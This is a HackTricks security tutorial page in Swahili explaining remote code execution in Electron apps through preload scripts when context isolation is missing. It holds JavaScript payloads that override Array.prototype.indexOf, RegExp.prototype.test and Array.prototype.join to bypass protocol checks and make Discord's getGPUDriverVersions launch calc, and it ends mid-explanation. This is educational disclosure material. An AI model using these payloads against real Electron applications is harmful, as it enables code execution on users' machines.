Electron contextIsolation RCE kupitia preload code
Reading time: 2 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Mfano 1
Mfano kutoka https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30
Hii code inafungua viungo vya http(s) na kivinjari cha kawaida:
Kitu kama file:///C:/Windows/systemd32/calc.exe
kinaweza kutumika kuendesha calc, SAFE_PROTOCOLS.indexOf
inazuia hilo.
Hivyo, mshambuliaji anaweza kuingiza hii JS code kupitia XSS au urambazaji wa ukurasa wa kiholela:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
Kama wito wa SAFE_PROTOCOLS.indexOf
utarudisha 1337 kila wakati, mshambuliaji anaweza kupita ulinzi na kutekeleza calc. Hatua ya mwisho ya kutumia:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Angalia slaidi za asili kwa njia nyingine za kutekeleza programu bila kuwa na dirisha linalouliza ruhusa.
Kwa apparently, njia nyingine ya kupakia na kutekeleza msimbo ni kufikia kitu kama file://127.0.0.1/electron/rce.jar
Mfano 2: Discord App RCE
Mfano kutoka https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Wakati wa kuangalia skripti za preload, niligundua kuwa Discord inatoa kazi, ambayo inaruhusu baadhi ya moduli zinazoruhusiwa kuitwa kupitia DiscordNative.nativeModules.requireModule('MODULE-NAME')
, kwenye ukurasa wa wavuti.
Hapa, sikuweza kutumia moduli ambazo zinaweza kutumika kwa RCE moja kwa moja, kama moduli ya child_process, lakini nilipata msimbo ambapo RCE inaweza kupatikana kwa kubadilisha mbinu za ndani za JavaScript na kuingilia kati utekelezaji wa moduli iliyofichuliwa.
Ifuatayo ni PoC. Niliweza kuthibitisha kwamba programu ya calc inajitokeza wakati ninapoitisha kazi ya getGPUDriverVersions
ambayo imefafanuliwa katika moduli inayoitwa "discord_utils" kutoka devTools, wakati nikibadilisha RegExp.prototype.test
na Array.prototype.join
.
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
Funguo la getGPUDriverVersions
inajaribu kutekeleza programu kwa kutumia maktaba ya "execa", kama ifuatavyo:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
Kawaida execa inajaribu kutekeleza "nvidia-smi.exe", ambayo imeainishwa katika mabadiliko ya nvidiaSmiPath
, hata hivyo, kutokana na RegExp.prototype.test
na Array.prototype.join
zilizobadilishwa, hoja inabadilishwa kuwa "calc" katika _execa_'s internal processing.
Haswa, hoja inabadilishwa kwa kubadilisha sehemu mbili zifuatazo.